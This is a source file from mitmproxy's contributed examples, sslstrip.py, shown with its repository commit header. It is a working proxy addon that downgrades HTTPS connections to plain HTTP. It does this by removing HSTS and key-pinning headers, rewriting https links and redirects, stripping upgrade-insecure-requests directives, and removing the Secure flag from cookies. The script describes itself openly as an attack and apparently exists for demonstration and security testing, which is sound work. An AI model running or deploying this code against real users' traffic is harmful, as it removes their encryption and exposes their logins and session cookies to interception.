mitmproxy/examples/contrib/sslstrip.py
Maximilian Hils 08895e9ba6 restructure examples
- restructure examples (fix #4031)
 - remove example dependencies from setup.py,
   we do not need special dependencies for our supported addons.
 - unify how we generate docs from code
 - improve example docs
2020-06-23 16:00:14 +02:00

64 lines
2.6 KiB
Python

"""
This script implements an sslstrip-like attack based on mitmproxy.
https://moxie.org/software/sslstrip/
"""
import re
import urllib.parse
import typing # noqa
from mitmproxy import http
# set of SSL/TLS capable hosts
secure_hosts: typing.Set[str] = set()
def request(flow: http.HTTPFlow) -> None:
flow.request.headers.pop('If-Modified-Since', None)
flow.request.headers.pop('Cache-Control', None)
# do not force https redirection
flow.request.headers.pop('Upgrade-Insecure-Requests', None)
# proxy connections to SSL-enabled hosts
if flow.request.pretty_host in secure_hosts:
flow.request.scheme = 'https'
flow.request.port = 443
# We need to update the request destination to whatever is specified in the host header:
# Having no TLS Server Name Indication from the client and just an IP address as request.host
# in transparent mode, TLS server name certificate validation would fail.
flow.request.host = flow.request.pretty_host
def response(flow: http.HTTPFlow) -> None:
assert flow.response
flow.response.headers.pop('Strict-Transport-Security', None)
flow.response.headers.pop('Public-Key-Pins', None)
# strip links in response body
flow.response.content = flow.response.content.replace(b'https://', b'http://')
# strip meta tag upgrade-insecure-requests in response body
csp_meta_tag_pattern = br'<meta.*http-equiv=["\']Content-Security-Policy[\'"].*upgrade-insecure-requests.*?>'
flow.response.content = re.sub(csp_meta_tag_pattern, b'', flow.response.content, flags=re.IGNORECASE)
# strip links in 'Location' header
if flow.response.headers.get('Location', '').startswith('https://'):
location = flow.response.headers['Location']
hostname = urllib.parse.urlparse(location).hostname
if hostname:
secure_hosts.add(hostname)
flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
# strip upgrade-insecure-requests in Content-Security-Policy header
csp_header = flow.response.headers.get('Content-Security-Policy', '')
if re.search('upgrade-insecure-requests', csp_header, flags=re.IGNORECASE):
csp = flow.response.headers['Content-Security-Policy']
new_header = re.sub(r'upgrade-insecure-requests[;\s]*', '', csp, flags=re.IGNORECASE)
flow.response.headers['Content-Security-Policy'] = new_header
# strip secure flag from 'Set-Cookie' headers
cookies = flow.response.headers.get_all('Set-Cookie')
cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
flow.response.headers.set_all('Set-Cookie', cookies)